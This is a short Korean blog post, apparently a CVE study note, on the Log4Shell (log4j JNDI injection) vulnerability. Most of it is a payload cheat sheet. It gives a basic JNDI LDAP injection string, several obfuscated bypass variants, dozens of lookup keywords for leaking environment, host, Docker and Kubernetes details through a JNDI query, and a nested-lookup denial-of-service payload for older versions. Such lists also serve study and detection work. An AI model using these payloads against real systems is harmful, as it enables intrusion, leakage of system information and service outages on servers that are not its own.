반응형
log4j 취약점은 자바 프레임워크 중 하나인 log4j를 사용할 때
클라이언트의 요청 값을 문자열 그대로 저장하는 것이 아닌
JNDI lookup 기능으로 인해 해석이 가능한 요청을 실행하기 때문에 발생한다.
공격자가 LDAP 또는 RMI 서버를 공격 서버로 생성한 뒤 JNDI injection을 할 때
기본적으로
${jndi:ldap://abcd/abcd}
위와 같은 코드를 삽입하지만 몇가지 우회구문이 있다.
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://abcd/abcd}
${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://abcd/abcd
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://abcd/abcd
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://abcd/abcd
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://abcd/abcd
또한 원격 명령 실행할 여건이 충분하지 않을 때 아래와 같은 키워드를 삽입함으로써 정보를 획득할 수 있다.
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}
${env:HOSTNAME}
${sys:SYS_NAME:-i}
키워드를 삽입한 JNDI 쿼리는 다음과 같다
${jndi:ldap://abcd/${env:HOSTNAME}/abcd}
실제로 헌트리스에서 키워드를 테스트해보면 아래 그림과 같이 시스템과 관련된 다양한 정보를 얻을 수 있다.
우회구문 뿐만 아니라 처음 log4j cve가 발견된 뒤 패치가 여러번 있었는데
그에 파생되어 여러 취약점이 추가적으로 발생했다.
log4j 취약점을 이용하여 아래 인젝션을 통해 DoS 공격도 가능하다 (2.16 하위 버전에서 가능한걸로 알려짐)
${${::-${::-$${::-j}}}}
반응형
'CVE Study' 카테고리의 다른 글
[Apache Struts] CVE-2017-5638 아파치 스트럿츠2 RCE 취약점 (0) | 2022.04.28 |
---|---|
[Apache Tomcat] CVE-2022-22965 (Spring4Shell) 스프링 RCE 취약점 (0) | 2022.04.18 |
[Apache Tomcat] CVE-2021-44228 (log4j,log4shell) (0) | 2022.02.15 |
[Apache Tomcat] CVE-2020-9484 (세션 역직렬화) (0) | 2022.02.03 |